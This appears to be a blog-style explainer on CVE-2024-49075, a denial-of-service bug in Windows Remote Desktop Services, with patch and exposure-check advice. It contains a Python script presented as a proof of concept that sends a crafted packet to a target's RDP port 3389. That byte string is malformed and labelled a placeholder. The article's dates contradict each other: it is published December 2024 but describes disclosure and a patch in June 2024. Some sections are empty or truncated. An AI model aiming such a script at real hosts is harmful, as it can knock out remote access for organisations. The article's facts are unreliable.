CVE-2024-49075 - Inside the Windows Remote Desktop Services Denial of Service Vulnerability

Earlier this year, Microsoft disclosed a critical security issue in Windows that shook IT teams and security professionals: CVE-2024-49075, a Denial of Service (DoS) vulnerability in Windows Remote Desktop Services (RDS). This exclusive guide will break down what this means, how it can be abused, and what you should do about it.

What Is CVE-2024-49075?

CVE-2024-49075 is a Denial of Service vulnerability affecting the Windows Remote Desktop Services component. An unauthenticated attacker can exploit this bug to crash the target system or make it unresponsive—cutting off remote administration, application access, or even stopping work completely for end users.

Windows Server 2016, 2019, and 2022

For a complete list, check Microsoft’s official CVE page.

How Does the Exploit Work?

Remote Desktop Services use the RDP (Remote Desktop Protocol) for network communication. The bug discovered allows anyone with RDP network access to send a specially crafted packet to the RDS service. This packet triggers a flaw in the service's input validation, causing it to crash or hang indefinitely.

Legitimate users cannot connect or are disconnected, losing remote access.

This is particularly dangerous for organizations relying on RDS for remote work, server farms, or VDI (Virtual Desktop Infrastructure).

Code Snippet: Example Proof-of-Concept (POC)

While Microsoft and responsible researchers do not publicly share fully weaponized exploits, a basic pseudocode for sending a malformed RDP packet looks like this:

import socket

target_ip = "TARGET.IP.ADDRESS"
rdp_port = 3389

# Malformed RDP packet – placeholder for the exploit packet
malicious_packet = b'\x03\x00\x00\x13\xe\xd\x00\x00\x12\x34\x00\x02\x00\x00ABCD'

def send_dos_packet(ip, port, data):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((ip, port))
        s.sendall(data)
        print("[*] Malicious packet sent.")

# Run the exploit against the target
send_dos_packet(target_ip, rdp_port, malicious_packet)

Disclaimer: Do not use this against any system you do not own or have permission to test. Unlawful use may be prosecuted.

How To Check If You’re Vulnerable

1. Check your patch level: Go to Windows Update > Update History. See if you’ve installed the monthly update released after May 2024.
2. Find open RDP ports: Run netstat -ano | findstr 3389 in Command Prompt to see if RDP is exposed.
3. Scan externally: Use Shodan or run nmap -p 3389 IP_ADDRESS from another machine.

Microsoft’s Official Patch

Microsoft provided patches in the June 2024 Patch Tuesday. Details and downloads are at:
📎 Microsoft Security Update Guide – CVE-2024-49075

Quick advice:

Resources & Further Reading

- Microsoft Official Advisory
- NVD Entry (National Vulnerability Database)
- RDP Security Best Practices (Microsoft)

Conclusion

CVE-2024-49075 is a stark reminder that even mainstream Windows features can hide serious bugs. If you use Windows RDS, patch immediately and review your RDP exposure. Taking action now can prevent unexpected outages and keep your teams connected and secure.

Timeline

Published on: 12/12/2024 02:04:31 UTC
Last modified on: 01/21/2025 19:38:29 UTC